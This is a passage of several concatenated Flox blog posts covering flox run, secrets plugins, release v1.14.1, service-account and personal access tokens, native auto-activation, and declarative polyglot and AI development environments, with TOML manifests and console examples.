this as a simple command-to-package attribute in **`~/.config/flox/flox.toml`**, Flox’s standard user-scoped configuration file. ```toml # The rest of your configuration [run_preferences] hello = "hello" ``` If you want Flox to use a different package for a given command later, use the **`--reselect`** flag. ```console $ flox run --reselect python ! Multiple packages provide 'python'. Select one to run: > buildbotPackages.python gnuradio3_8Packages.python gnuradio3_9Packages.python gnuradioPackages.python mopidyPackages.python python310Packages.python v python311Packages.python [Showing 10 of 44 results. Use 'flox search --command python --all' to see the full list.] ``` You can also use the **`--package`** / **`-p`** flag to specify which package should provide the command you want to run. This is especially useful in non-interactive environments such as CI, where Flox can’t prompt you to choose between multiple matches. ```console $ flox run -p python312 -- python hello.py Hello world, but from python! ``` You can use **`flox run`** with the more than 225,000 packages available in the Flox base catalog. This includes packages that aren’t returned with **`flox search --command `**, such as **`unfree`** packages, or custom packages you publish to your private Flox catalog. For example, to run 1Password’s unfree **`op`** command, specify the **`_1password`** package explicitly, along with **`op`**: ```console $ flox run -p _1password -- op whoami URL: https://my.1password.com/ Email: hello@flox.dev User ID: ABCDEF123456789 ``` ## Integrating Secrets Providers Without the Glue Flox now ships pre-built secrets plugins for common secret providers, including 1Password and HashiCorp Vault. To be clear, Flox is _not_ providing a secret store or persisting secret values itself. Instead, these secrets plugins give Flox environments a standard way to declare references to secrets held by upstream providers. At activation, the plugin retrieves secrets from the provider and exports them into the active environment. Just-in-time secrets retrieval has always been possible with Flox. Over time we added the ability to build, package, and publish custom secrets-handling integrations to your private Flox Catalog. You could define these integrations as packages in your Flox environments and call them from an activation hook. So even though Flox could package the secrets-handling logic, you still had to wire it into each environment yourself. Plugins correct this. They define a standard interface in the Flox manifest (a **`[plugins.]`** section) along with an activation path for that packaged logic. This standardizes both **how** an environment plugin’s packaged logic gets invoked and **where** environments declare the plugin’s config. For example, users of HashiCorp Vault can declare the Flox-provided Vault plugin in their manifests… ```toml [install] plugin-vault.pkg-path = "flox/plugin-vault" ``` …along with the secret references the plugin expects to resolve under the **`[plugins.]`** section: ```toml [plugins.vault] GH_TOKEN = "secret/github-work#token" ``` The secrets plugin packages shipped by Flox bundle both the retrieval logic _and_ the secrets provider’s CLI. Flox currently provides secrets plugins for: - **`flox/plugin-1password`**. Run with **`op`**. - **`flox/plugin-vault`**. Run with **`vault`**. - **`flox/plugin-openbao`**. Run with **`bao`**. - **`flox/plugin-infisical`**. Run with **`infisical`**. ## Just the Right Touch of Flox A reproducible environment is essential when the _environment itself_ is what matters. It’s a bit heavy when you only need to run **`jq`** or **`ripgrep`**. Integrating secrets is a related problem: the environment absolutely matters, but integration machinery can be standardized and reused _across_ environments. A one-off command should feel like a one-off command. That’s **`flox run`**. A secrets integration should feel like configuration, not an exercise in wiring up a harness. That’s Flox’s pre-built secrets plugins. [Download Flox](https://flox.dev/download/) and use **`flox run`** to test drive one of 225,000+ packages. Title: Making Flox Better for People and Machines Source: https://flox.dev/blog/making-flox-better-for-people-and-machines/ Date: 2026-08-13 Category: guide # Making Flox Better for People and Machines Flox v1.14.1 improves activation, search, and usability as more developers, CI systems, and AI agents rely on Flox. This week we shipped [Flox v1.14.1](https://github.com/flox/flox/releases), which focuses on making Flox more consistent, reliable, and easier to use as you work in your environments. So, for example, Flox now tells you which environment you’ve entered, along with whether you activated it directly, in-place, or via auto-activation. Shell prompts that previously showed chatty labels (like **`owner/name (local)`**) now show just the environment name, while **`flox -q activate`** is now genuinely quiet: it no longer prints activation traces to the terminal. The **`flox search`** command also accepts common terms it used to reject, including **`c++`**, **`g++`**, and terms encoded in non-Latin scripts. The v1.14.1 release also gives you better visibility into what’s happening as environments change or move between systems. For instance, updating and re-locking an older environment could sometimes result in packages being silently dropped; Flox now warns you when that happens. And if an environment has been locked to a different platform (e.g., Apple Silicon-based macOS) and can’t run on your system (e.g., x86 Linux), Flox now surfaces this error and tells you which platforms it _will_ run on. We also made improvements to both activation and auto-activation, so environments behave more consistently as you auto-activate and/or move between shell sessions, or work with remote FloxHub environments. ## Serving Both People and Machines If you just use the Flox CLI, you might not know you depend on FloxHub, but you do: Whenever you search for packages, install or upgrade software, or resolve dependencies, FloxHub does that work. We’re committed to bringing this same focus on reliability, consistency, and ease-of-use to the FloxHub services that back the Flox CLI, too. For example, Flox v.1.14.0 shipped with support for personal access tokens (PAT) and service account tokens (SAT). Both give the Flox CLI a way to authenticate to FloxHub without an interactive login: PATs represent individual users, while SATs give CI, agents, and other automation their own FloxHub identity and access level. As more developers, CI systems, and (especially) **AI agents** use Flox to search for and resolve packages, we need the ability to protect the service from abusive or runaway automation, and keep resolution responsive for _everyone_. This week’s v1.14.1 release starts to lay the groundwork for that. Check out [https://go.flox.dev/auth](https://go.flox.dev/auth) to learn more about which commands will need authentication. Although we're encouraging authentication, FloxHub sign-up is **completely free**. Free-tier users will continue to enjoy access to all free features and benefit from future improvements we ship in the Flox CLI. And because many CLI workflows depend on FloxHub, free-tier users will _also_ benefit from better support and a faster, more available experience as we invest in the parts of the service that people and machines are using most heavily. Title: Flox Account Tokens for People and Machines Source: https://flox.dev/blog/flox-account-tokens-for-people-and-machines/ Date: 2026-08-03 Category: guide # Flox Account Tokens for People and Machines Flox now supports granular, role-based tokens that enable organizations to reduce their blast radius, keep pipelines running smoothly through staff changes, easily rotate credentials on a schedule, and seamlessly authenticate in browserless workflows. Today we are announcing two new credentials for FloxHub: service account tokens and personal access tokens. These improvements give automation an identity model of its own, separate from the people who build it. Signing a person in and authenticating a pipeline are two different jobs. A personal access token authenticates a person and grants that person's access. A service account is a machine identity the organization owns, with its own name, access level, and tokens. sat-two-credentials One credential for a person, one for a machine.
Together, these credentials allow organizations to: - **Reduce the blast radius of an exposed credential**: A service account is granted only the access its automation needs, and revoking its token leaves everyone's personal access untouched. - **Keep pipelines running through staff changes**: Service accounts and their tokens belong to the organization, so they keep working when the person who created them leaves. - **Rotate credentials on a schedule**: A service account can have more than one live token, so rotation no longer needs a maintenance window. - **Distinguish machine traffic from human traffic**: Service account tokens resolve to the automation that used them, not to a person. - **Authenticate as yourself without a browser**: A personal access token stands in for an interactive login wherever one is not possible. The new token formats need Flox CLI 1.14.0 or newer. If you are new to Flox and want to learn more, take look at this [short intro](https://flox.dev/docs) or take it for a spin using this [short guide](https://flox.dev/docs/flox-5-minutes). ## How Service Accounts Work For a team running Flox in CI, this split changes which credential a pipeline authenticates with, and what an organization can do with that credential after it is issued. sat-flow Each pipeline authenticates as its own service account, at the access level that account was given, rather than as whoever set it up. ### An Identity the Organization Owns An organization creates a service account, names it after the job it performs, and picks its access level. Read-only service accounts can pull the organization's environments and packages. Read and write service accounts can also push environments and publish packages. The access level sits on the service account and covers the whole organization, so its access cannot be narrowed to a subset of packages or environments. The service account belongs to the organization, not to the person who created it, so removing that person leaves it and its tokens working. A service account is granted one of those two access levels and nothing higher, so it cannot be made an owner, manage members, or create further service accounts. Unlike service account tokens, a personal access token is tied to a specific individual and retains the same access as that individual. Once that individual is removed, that token stops working. ### Revocation and Rotation Without Downtime Until now, Flox users copied tokens from their own `flox auth token` interactive CLI sessions for non-interactive use cases. Those CLI authentication tokens have a limited, fixed duration and are not easily revoked or updated. Now both personal and service credentials can be revoked. Revoking a token takes effect on the next request, and deleting a service account revokes every token issued to it. Tokens can be configured with a fixed lifetime: 30 days, 90 days, one year, or no expiration. The default is 30 days. sat-rotation Both tokens are live through the handover, so the pipeline never runs without a valid one.
As more than one active token can be created, rotation doesn’t require an all-at-once cutover. For example, an organization can issue a replacement token while an existing token remains valid, then revoke the old token after FloxHub shows it is no longer being used. The automation pipeline holds a valid credential during the handover. ## Getting Started Both credentials are created in FloxHub, and only there: service account tokens are issued from the appropriate organization page and personal access tokens are issued from the user’s profile page. From the organization page, an owner adds a service account, sets its access level, and issues its tokens. Each token is shown once, so it should go straight into a secret store, where its `flox_sat_` prefix distinguishes it from a personal access token. Pipelines supply the service account token through `FLOX_FLOXHUB_TOKEN`, the same variable the Flox CLI has always read. In GitHub Actions that is a single `env` entry pointing at a repository secret. ```yaml jobs: test: runs-on: ubuntu-latest env: FLOX_FLOXHUB_TOKEN: ${{ secrets.FLOX_SERVICE_TOKEN }} steps: - uses: flox/install-flox-action@v2 - uses: flox/activate-action@v1 with: environment: acme/ci command: make test ``` See [Integrating Flox with CI](https://flox.dev/blog/integrating-flox-with-ci-for-consistent-reproducible-dev-environments) for an overview of how you can set up CI pipelines that automatically run, build and validate your Flox environments. Create service accounts and service account tokens → [https://hub.flox.dev](https://hub.flox.dev) Read the docs → [https://flox.dev/docs/concepts/service-accounts](https://flox.dev/docs/concepts/service-accounts) Personal access tokens are for users who need to authenticate the Flox CLI without completing the usual interactive browser-based login flow: for example, if you’re working over SSH, inside a container, or in another browserless environment. They are also useful if you’re an individual developer and you need to authenticate a CI run under your own identity: for example, by testing something you've built in GitHub Actions or GitLab CI that you can’t reproduce locally. To use them, just write the token to a file and pass it to **`flox auth login`**. ```bash flox auth login --token-file ./token flox activate -r acme/backend ``` Create a personal token → [https://hub.flox.dev/profile](https://hub.flox.dev/profile) Read the docs → [https://flox.dev/docs/concepts/personal-access-tokens](https://flox.dev/docs/concepts/personal-access-tokens) ## Token FAQ **Should I use a personal access token in CI?** Service account tokens are the recommended credential for CI, production, shared automations, and long-lived integrations. These tokens can be scoped to the read-only or read-and-write permissions the workload requires, and it won’t stop working if your own access changes. A personal access token can be used as a fallback for individual users or experimental CI use. Bear in mind that the token carries your user permissions, which means the automation can access anything you can. In addition, revoking or changing your access will also revoke the token and break the workflow. **How do I secure a CI/CD build pipeline that needs access to my organization’s packages or environments?** Give the pipeline its own identity instead of a person's. Create a service account with the access it actually needs, issue a token, and store it as a repository secret. A read-only service account can pull environments and packages but cannot push or publish, so an exposed CI token cannot be used to alter what the rest of the team installs. Rotate on a schedule, and revoke on suspected exposure. **Do I need a particular version of the Flox CLI?** Yes. Older releases do not recognise either of the new token formats. Upgrade to Flox CLI **1.14.0** or newer. **Who can create a service account?** Only organization owners can create these and only in FloxHub. Issuing a service account token is also an owner-level action because the token is a standing credential for the whole organization. **What happens to a job that is using a token when it is revoked?** Regardless of whether it is a personal access token or service account token, the next call it makes will fail, so a pipeline that loses its access stops there rather than finishing on permissions it no longer has. To swap a token without that happening, issue the new one and deploy it before revoking the old. Title: Auto-Activation Is Now Native in Flox Source: https://flox.dev/blog/auto-activation-is-now-native-in-flox/ Date: 2026-07-29 Category: news # Auto-Activation Is Now Native in Flox Native Flox auto-activation enables a seamless, friction-free flow by dynamically discovering, activating, layering, and deactivating Flox environments as you move through your projects. We noticed people hacking [direnv](https://github.com/direnv/direnv) so they could use it to auto-activate their Flox environments. So we built a native auto-activation feature. Flox already lets you define cross-platform, reproducible environments as code. A Flox environment declares a project’s runtime, packages, variables, hooks, managed services, even _build recipes_. But until now, you had to manually run **`flox activate`** to enter into an environment. Now, with Flox-native auto-activation, whenever a directory contains a valid Flox environment, that environment starts up as soon as you **`cd`** into it. In the same way, the environment automatically deactivates when you change out of it. Flox can even auto-start _a project’s services_ … and stop them when you leave: - **Enter the directory** and Flox activates the environment and starts its declared services. - **Leave the directory** and Flox stops those services, deactivates the environment, and restores your shell. This means when you’re in your flow... everything just works. Your tools, your environment, your whole dev setup: every action flows easily, one to another. You don’t even have to think about it. ## Auto-Activating / De-Activating an Environment Let’s start with a simple example… a Flox environment that runs a [llama.cpp model server](https://github.com/ggml-org/llama.cpp) for inference workloads: ```toml schema-version = "1.13.0" [install] llamacpp.pkg-path = "flox-labs/llamacpp" llamacpp.pkg-group = "llamacpp" llamacpp.systems = ["aarch64-darwin", "aarch64-linux", "x86_64-linux"] [services] auto-start = true [services.llamacpp] command = ''' [ -f "$FLOX_ENV_CACHE/llama-server.env" ] && . "$FLOX_ENV_CACHE/llama-server.env" exec llamacpp-proxy \ --listen "${LLAMACPP_HOST:-127.0.0.1}:${LLAMACPP_PROXY_PORT:-8081}" \ --backend "${LLAMACPP_HOST:-127.0.0.1}:${LLAMACPP_PORT:-8080}" \ --backend-api-key "${LLAMACPP_API_KEY:-llamacpp-local}" ''' ``` The **`[services.llamacpp]`** table declares the service. The new **`auto-start = true`** setting tells Flox to start declared services when the environment activates via auto-activation. When you change into a directory that contains a Flox environment, Flox prompts you: Do you want to auto-activate? Yay or nay? ```console ~/dev$ cd llamacpp Auto-activate the environment in '/home/floxuser/dev/llamacpp'? [y/N] y ``` Flox remembers this decision for each environment. If you allow auto-activation, entering the directory activates the environment and (if **`auto-start = true`** is set in the manifest) starts any declared services. ```console flox [llamacpp]:~/dev/llamacpp$ flox services status NAME STATUS PID llamacpp Running 1694723 ``` Changing out of the directory deactivates the environment and stops the service: ```console flox [llamacpp]:~/dev/llamacpp$ cd .. ~/dev$ flox services status -d ./llamacpp NAME STATUS llamacpp Stopped ``` Changing back in reactivates it again: ```console ~/dev$ cd llamacpp flox [llamacpp]:~/dev/llamacpp$ flox services status NAME STATUS PID llamacpp Running 1700183 ``` The upshot is that Flox tracks whether an environment remains in scope, manages the services associated with each activation, and restores your shell whenever you leave the environment. ## Activating Nested Environments Flox now auto-activates nested environments, too. This is _especially_ useful with monorepos, where nested environments define distinct tools, runtimes, or services… while also inheriting a shared base environment. Imagine that you **`cd`** directly into your working directory: a retrieval-augmented generation (RAG) project that’s nested inside Flox environments that support data prep, generate embeddings, and serve models: ```console ~$ cd ~/dev/ai-base/ingest/embeddings/rag_app Auto-activate these 4 environments? /home/daedalus/dev/ai-base /home/daedalus/dev/ai-base/ingest /home/daedalus/dev/ai-base/ingest/embeddings /home/daedalus/dev/ai-base/ingest/embeddings/rag_app [y/N] ``` Each directory in this path contains its own **`.flox`** environment: ```console ~/dev/ai-base/.flox └── ingest/.flox └── embeddings/.flox └── rag_app/.flox ``` In this stack: - **`ai-base`** provides shared tools such as Python, **`uv`**, Git LFS, and so on; - **`ingest`** adds file-parsing dependencies + a service that monitors an input directory for file drops; - **`embeddings`** adds PyTorch, Sentence Transformers, and a local vector database service; - **rag_app`** provides the project’s runtime, API server, retrieval configuration, and dev commands. Flox is smart enough to auto-activate the environments from the outside in: ai-base → ingest → embeddings → rag_app Defining **`services.auto-start = true`** in **`ingest`** and **`embeddings`** starts their services automatically. ## Running Tools inside an Already-Activated Environment The way Flox works is that any commands you run inside an activated environment automatically inherit that environment’s shell settings … including access to binaries, libraries, or executable commands on **`PATH`**. With auto-activation, changing into a directory containing a Flox environment (or a nested series of Flox environments) gives Claude Code, Codex, OpenCode, and other coding harnesses automatic access to anything declared as part of that environment or layered stack. I can’t tell you how many times I’ve forgotten to activate an environment when working with AI agents. I could have used direnv for this, but for reasons aforesaid, direnv doesn’t fit neatly into my preferred Flox workflow. Now when I jump directly into **`~/dev/ai-base/ingest/embeddings/rag_app`** and run Claude Code, it has access to everything in the **`ai-base`** stack: ``` flox [rag-app embeddings ingest ai-base]$~/dev/ai-base/ingest/embeddings/rag_app$ claude ╭─── Claude Code v2.1.198 ─────────────────────────────────╮ │ │ │ Welcome back floxuser! │ │ │ │ ▐▛███▜▌ │ │ ▝▜█████▛▘ │ │ ▘▘ ▝▝ │ │ │ │ Opus 4.8 (1M context) with me… · Claude Max · │ │ flox-user@flox.dev’s Organization │ │ ~/dev/ai-base/ingest/embeddings/rag_app │ │ │ ├──────────────────────────────────────────────────────────┤ │ │ │ Tips for getting started │ │ Run /init to create a CLAUDE.md file with │ │ instructions for Claude │ │ │ │ Recent activity │ │ No recent activity │ │ │ ╰──────────────────────────────────────────────────────────╯ ──────────────────────────────────────────────────────────── ❯ investigate why newly ingested documents are not appearing in RAG query results. use the active flox environment. confirm that the ingestion worker is parsing the source files, embeddings are being generated with the configured model, the vectors are being written to the local vector database, and the RAG API is querying the correct collection. identify the root cause and fix it. ──────────────────────────────────────────────────────────── ``` ## Opt in to Use It Flox does not auto-activate environments without your say-so. You must explicitly opt in. So the first time you **`cd`** into a directory with a Flox environment, Flox will prompt you before activating it. To make auto-activation the default behavior, run **`flox activate allow`** while inside the directory. To turn off auto-activation, run **`flox activate deny`**. You can proactively add environments (i.e., before explicitly changing into them and being prompted) by running the following command: ```console $ flox activate allow -d path/to/environment ``` To revert auto-activation for any environment, change into its parent directory and do: ```console $ flox activate deny ``` You can also do **`flox activate deny -d path/to/environment`** _without_ changing into the directory. The new **`services.auto-start`** setting is useful when you’re building, testing, or debugging inside a Flox environment that defines services. Its behavior is binary, however: to **`cd`** into an environment’s directory is to start its services; to **`cd`** out is to stop them, regardless of whether that’s what you want. If you need an environment’s services to remain available as you move around your filesystem, you can explicitly activate it: e.g., **`flox activate -s -d ./path/to/flox-environment`**. This way, the environment remains active (and its services keep running) irrespective of where you’re working or what you’re doing on your system. ## Discover How Flox Transforms Your Workflow Native support for auto-activation makes your Flox workflow faster and completely friction-free. Now when you move into a repo, the right tools, variables, services, and layered environments are always available … without your having to do anything. When you move out, Flox automatically cleans up after you. It’s just one example of how Flox helps streamline and optimize your flow. With declarative environments, reproducible behavior at build and runtime, built-in service management, and support for layering or [composing](https://flox.dev/docs/concepts/composition#composing-environments) environments, Flox makes it simple to reuse project setups across humans, shells, and agents … locally, in CI, and in production. Want a tour? Start with [Flox in 5 minutes](https://flox.dev/docs/flox-5-minutes), or [read the docs](https://flox.dev/docs/concepts/auto-activation) to learn more about auto-activation in Flox! Title: One Tool, Every Language: Declarative Dev Environments Source: https://flox.dev/blog/one-tool-every-language-declarative-dev-environments/ Date: 2026-07-21 Category: guide # One Tool, Every Language: Declarative Dev Environments Imagine creating declarative, reproducible environments for the toolchains and dependencies you use in your workflows. Declaring compilers, debuggers, dev libraries, and other dependencies as code. Declarative patterns make this convenient, reproducible, and scalable. Ever tried to build or debug software only to find that the compiler, runtime, SDK, or plugin you need is missing… or hopelessly outdated? Ever struggled to support a team that works in a polyglot monorepo… where every language, service, and package depends on different combinations of toolchains? Ever needed just the right _historical_ version of a tool or dependency at just the right moment… but weren’t able to track it down? If any of these problems feels familiar, I’ve got a modest proposal for you. Imagine creating declarative, reproducible environments for the toolchains and dependencies that you (or the engineers you support) use in their workflows. Imagine declaring compilers, debuggers, dev libraries, and other dependencies _as code_. Imagine giving engineers the ability imperatively to install new tools (or override versions of existing ones) when necessary. Declarative patterns make this as convenient as: ```console $ nix run github:team-foo/polyglot-playground#cxx ``` Or: ```console $ flox activate -r team-foo/cxx ``` This article introduces a hardened set of 16 language-specific declarative dev environments. You can use them individually or [compose them](https://flox.dev/docs/concepts/composition#composing-environments) in different combinations to create polyglot language-toolchain stacks. You could even compose all 16 into a single gigantic stack. The declarative, stack-as-code patterns outlined here give you convenience, strong reproducibility guarantees across space and time, and cross-platform portability. To take one example: A declarative Nix or Flox C/C++ language-toolchain runs across Linux and macOS, on ARM and x86… _without_ virtualization. Users on macOS get Clang, LLDB, and Apple system frameworks like (CoreFoundation); users on Linux get GCC, GDB, and Valgrind. With this as prelude, let’s see how the declarative sausage gets made. ## Defining an All-in-One Polyglot Toolchain Environment Creating a declarative language-toolchain stack is as simple as authoring a Nix flake or Flox manifest to compose the language dependencies (C/C++, Rust, Python, Node, Go, and others) your project needs. The code block below defines a basic Flox environment for C/C++, Rust, Python, Node, and Go: ```toml [install] gcc.pkg-path = "gcc" rust.pkg-path = "rustc" cargo.pkg-path = "cargo" python.pkg-path = "python3" node.pkg-path = "nodejs" go.pkg-path = "go" ``` The TOML above tells Flox to resolve a compatible dependency graph for **`gcc`** and **`g++`**; **`rustc`** and **`cargo`**; **`python3`**; **`node`** and **`npm`**; and the **`go`** runtime. If need be, you can tell Flox’s resolver to pin each package to a specific version: ```toml [install] gcc.pkg-path = "gcc" gcc.version = "15.2.0" rust.pkg-path = "rustc" rust.version = "1.96.1" cargo.pkg-path = "cargo" cargo.version = "1.96.1" python.pkg-path = "python3" python.version = "3.14.6" node.pkg-path = "nodejs" node.version = "24.18.0" go.pkg-path = "go" go.version = "1.26.4" ``` That’s it. Do **`flox activate`** and each of these tools becomes accessible in your Flox environment. To copy and paste this code into a Flox manifest is to recreate the environment. ## Composing Language-Specific Environments Many teams opt to create language-specific leaf environments and compose them using a shared parent environment. This makes it easier to version, test, update, and reuse individual leaf environments, as well as compose them in different combinations to create polyglot language-toolchain stacks. The TOML below composes separate C/C++, Node.js, Python, Rust, and Go environments. Pasting it into a Flox manifest gives you a polyglot language-toolchain stack that works across macOS and Linux: ```toml schema-version = "1.13.0" [include] environments = [ { remote = "flox-labs/cxx" }, # C / C++ { remote = "flox-labs/node" }, # Node.js + TypeScript { remote = "flox-labs/python3" }, # Python { remote = "flox-labs/rust-dev" }, # Rust { remote = "flox-labs/go" }, # Go ] ``` Each **`[include]`**-ed environment defines a complete language-specific toolchain. Copy and paste the TOML above into a Flox manifest, save your changes, activate the environment… and you’ll pull in all the packages defined by each of the leaf environments. The C/C++ environment’s inventory is below: ```toml [install] ## compilers clang.pkg-path = "clang" clang.systems = ["aarch64-darwin", "x86_64-darwin"] clang.pkg-group = "compilers-darwin" gcc.pkg-path = "gcc" gcc.systems = ["x86_64-linux", "aarch64-linux"] gcc.pkg-group = "compilers-linux" gcc-unwrapped.pkg-path = "gcc-unwrapped" gcc-unwrapped.systems = ["x86_64-linux", "aarch64-linux"] gcc-unwrapped.pkg-group = "compilers-linux" gcc-unwrapped.priority = 6 ## build systems — cxx-specific dev toolchain (`flox upgrade cxx`) cmake.pkg-path = "cmake" cmake.pkg-group = "cxx" ninja.pkg-path = "ninja" ninja.pkg-group = "cxx" gnumake.pkg-path = "gnumake" gnumake.pkg-group = "shared" ## autotools (uncomment for projects that use ./configure) # autoconf.pkg-path = "autoconf" # automake.pkg-path = "automake" # libtool.pkg-path = "libtool" ## build acceleration and code quality ccache.pkg-path = "ccache" ccache.pkg-group = "cxx" clang-tools.pkg-path = "clang-tools" clang-tools.pkg-group = "cxx" ## native build tools — shared plumbing common to every toolchain env pkg-config.pkg-path = "pkg-config" pkg-config.pkg-group = "shared" openssl.pkg-path = "openssl" openssl.pkg-group = "shared" zlib.pkg-path = "zlib" zlib.pkg-group = "shared" cacert.pkg-path = "cacert" cacert.pkg-group = "shared" git.pkg-path = "git" git.pkg-group = "shared" gh.pkg-path = "gh" gh.pkg-group = "shared" ## debugging — cxx-specific gdb.pkg-path = "gdb" gdb.systems = ["x86_64-linux", "aarch64-linux"] gdb.pkg-group = "cxx" lldb.pkg-path = "lldb" lldb.systems = ["aarch64-darwin", "x86_64-darwin"] lldb.pkg-group = "cxx" valgrind.pkg-path = "valgrind" valgrind.systems = ["x86_64-linux", "aarch64-linux"] valgrind.pkg-group = "cxx" ``` This environment declares both C/C++ packages _and_ the supporting packages that engineers need when they’re building, debugging, and testing C/C++ code. Putting them into separate [package groups](https://flox.dev/docs/concepts/package-groups#what-are-package-groups) does two things: - You can run **`flox upgrade `** to separately update each package set; - You can isolate historical packages from new packages. This lets you resolve current versions. When you declare dev environments as code, their dependencies, hooks, and overrides become legible, reviewable, and much easier to test, update, and roll back. This gives **platform teams**, especially, a reliable, scalable pattern for publishing versioned, authoritative environments. They can update a composed environment’s declared configuration via targeted, auditablse diffs, rather than rebuilding and redistributing VM or container images… or imperatively upgrading packages across bare-metal systems. ## Creating the Mother of All Composed Environments This last example is an intentional tour-de-force: a [polyglot declarative environment](https://hub.flox.dev/flox-labs/polyglot-playground) that composes 16 distinct language-specific environments. Few orgs would use or even _need_ something like this. It’s a proof-of-concept demonstrating how declarative patterns can scale to support large polyglot language-toolchain stacks. ```toml [include] environments = [ { remote = "flox-labs/cxx" }, { remote = "flox-labs/erlang" }, { remote = "flox-labs/node" }, { remote = "flox-labs/python3" }, { remote = "flox-labs/ruby" }, { remote = "flox-labs/rust-dev" }, { remote = "flox-labs/zig" }, { remote = "flox-labs/go" }, { remote = "flox-labs/kotlin" }, { remote = "flox-labs/lua" }, { remote = "flox-labs/php" }, { remote = "flox-labs/haskell" }, { remote = "flox-labs/datascience" },{ remote = "flox-labs/clojure" }, { remote = "flox-labs/scala" }, { remote = "flox-labs/perl" }, ] ``` With *non*-declarative methods, a polyglot stack is typically encoded as procedural setup scripts, or baked into VM or OCI images. In most cases, changing just one dependency in the stack requires rerunning scripts, rebuilding artifacts, and revalidating the resultant environment. Platform teams usually need to support multiple ecosystem-specific package managers, refactor (or create new) build logic, regenerate images, rerun qualifications, and then roll the results out across every consuming team. With a declarative stack, changes get expressed as a small, reviewable update to the environment: a diff. ## About Flox’s Polyglot Playground The complete Flox **`polyglot-playground`** stack defines: - **A set of single-language toolchain environments**. One each for C/C++, Rust, Go, Zig, Node/TypeScript, Python, Ruby, PHP, Perl, Lua, Erlang/Elixir, Haskell, Kotlin, Clojure, Scala, and R/Julia. Each is designed as a standalone environment, usable on its own; - **A shared plumbing layer**. This includes packages like **`git`**, **`gh`**, **`openssl`**, **`cacert`**, **`pkg-config`**, **`zlib`** , and other cross-cutting dependencies; - **A platform-split compiler layer**. GCC on Linux, Clang on macOS, and other platform-specific tools. You can pull and run the whole stack just by doing **`flox activate -r flox-labs/polyglot-playground`**; alternatively, you can pull [this GitHub repo](https://github.com/flox/polyglot-playground) to get the same stack locally. First **`git clone`** and **`cd`** into the repo, then run **`flox activate`**: this will put you inside the **`polyglot-playground`** environment. (It doesn’t matter if one or more of these tools are already installed on your local machine: the Flox-provided versions are available first on **`PATH`**.) You can modify these environments to suit your own needs. Each can be used on its own or composed as part of the **`polyglot-playground`** stack. Need an extra tool for an ad hoc requirement? Just add it imperatively with **`flox install ripgrep`**. Need to install a specific historical version of a package? Just do: **`flox install nodejs@22.21.1`**. You can also comment-out environments under **`[include]`** in to selectively _disable_ toolchains. Do what you will with it: The world is yours. Advanced users might opt to use Flox to [build and publish](https://flox.dev/blog/introducing-flox-build-and-publish/) a single meta-package per toolchain. This basically rollls up compilers, linters, debuggers, language servers, development libraries, and other language-specific dependencies into a single package. That package can ship its own activation hook under **`etc/profile.d`**, setting language-specific cache, package, SDK, or workspace locations; exposing commands on **`PATH`**; and defining any environment variables required by the toolchain. Flox sources this hook automatically when the package is activated. This might look like: ```toml [install] cxx-toolchain.pkg-path = "flox-user/cxx-toolchain" node-toolchain.pkg-path = "flox-user/node-toolchain" python3-toolchain.pkg-path = "flox-user/python3-toolchain" rust-toolchain.pkg-path = "flox-user/rust-toolchain" go-toolchain.pkg-path = "flox-user/go-toolchain" ``` ## Start with the Reference Environments The environments in this article are starting points. FloxHub hosts the complete set of language-specific toolchains used by the **`polyglot-playground`**, along with scads of other reusable environments for software development, software builds, testing, debugging, data science, and related workflows. You can activate these environments directly from [FloxHub](https://flox.dev/docs/concepts/floxhub-environments), include them in your own stacks, or opportunistically layer them on top of projects on an ad hoc basis: e.g., when you need _just the right tool_ but don’t have the time to build your own composable, reproducible environment. To learn more about Flox, check out our '[Flox in Five Minutes](https://flox.dev/docs/flox-5-minutes) guide; if you've seen enough and are ready to pull and run your own environments, you can [download Flox here](https://flox.dev/docs/install-flox/install)! Title: AI Stack as Code: Define It Once, Run It Everywhere Source: https://flox.dev/blog/ai-stack-as-code-define-it-once-run-it-anywhere/ Date: 2026-07-15 Category: guide # AI Stack as Code: Define It Once, Run It Everywhere Learn how AI stacks as code make ML and AI environments reproducible across macOS, Linux, Windows, CUDA, and Apple Silicon with reusable reference patterns. “Do you have some AI stack-as-code examples?” It’s one of the most common questions we get from customers. What they want are _reference patterns_ for implementing declarative stacks for things like [model-training](https://flox.dev/blog/training-nanogpt-on-slurm-with-a-nix-pinned-environment/), [retrieval-augmented generation (RAG)](https://flox.dev/popular-packages/get-a-portable-turn-key-rag-stack-with-verba-and-flox/), embeddings, and other AI use cases. **So we went ahead and built some**. One pattern [composes](https://flox.dev/docs/concepts/composition#composing-environments) four modular AI environments to create a reproducible, cross-platform, completely declarative AI RAG stack. It can be used either for development or as the foundation for a production RAG pattern. A second pattern, a [llamacpp](https://github.com/ggml-org/llama.cpp)-powered model serving environment, uses Flox’s documentation and articles from our blog to provide a RAG-powered knowledge assistant for asking questions about Flox. It demonstrates a production pattern for deploying AI stacks-as-code. Let’s dig into what a stack-as-code is… and why it’s the best way to create, share, and manage AI stacks. ## AI Stacks That Run on Every Machine If you’ve ever experienced the mounting frustration, the mix of fear and loathing, of attempting to run someone’s AI stack on your local system, the genius of AI-stacks-as-code should resonate with you. Say you’ve built something on your MacBook using Apple’s [MPS APIs](https://developer.apple.com/documentation/metalperformanceshaders) and you go to share it with the rest of your team… but not everybody can use it because they're on Windows or Linux machines with NVIDIA CUDA GPUs. Or imagine the reverse, where ML and AI Stacks someone built for CUDA won't run accelerated on your MacBook using MPS _or_ Apple’s [MLX framework](https://opensource.apple.com/projects/mlx/). If It runs at all, it’s in a container, with no access to a GPU. The ML- or AI-stack-as-code makes these problems go away. Instead of packaging and materializing an AI or ML stack’s runtime dependencies _for a specific machine platform_, you declare them, like so: ```toml [install] python.pkg-path = "python3" python.version = "3.13.13" uv.pkg-path = "uv" git.pkg-path = "git" torch.pkg-path = "python313Packages.torch" numpy.pkg-path = "python313Packages.numpy" jupyterlab.pkg-path = "python313Packages.jupyterlab" sentence-transformers.pkg-path = "python313Packages.sentence-transformers" chromadb.pkg-path = "python313Packages.chromadb" ``` The TOML above is an example of one kind of stack-as-code implementation: a Flox environment. It declares the basic dependencies for a reproducible, cross-platform AI RAG stack. Paste this into a Flox manifest and you get a runtime environment with exactly these declared dependencies. (**Note**: Flox isn’t the only declarative, stack-as-code technology out there. Others include [Nix and Guix](https://flox.dev/blog/standardized-development-environments-explained/).) If you need GPU-accelerated packages for MPS/MLX Macs and NVIDIA CUDA to coexist _in the same environment_, no worries: just declare platform-specific versions of PyTorch and other performance-sensitive packages: ```toml ## cuda-accelerated dependencies torch-cuda.pkg-path = "flox-cuda/python3Packages.torch" torch-cuda.version = "2.10.0" torch-cuda.systems = ["x86_64-linux", 